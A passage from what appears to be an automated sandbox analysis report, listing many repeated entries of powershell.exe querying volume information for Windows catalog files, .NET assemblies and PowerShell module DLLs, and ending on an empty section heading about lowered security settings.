Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

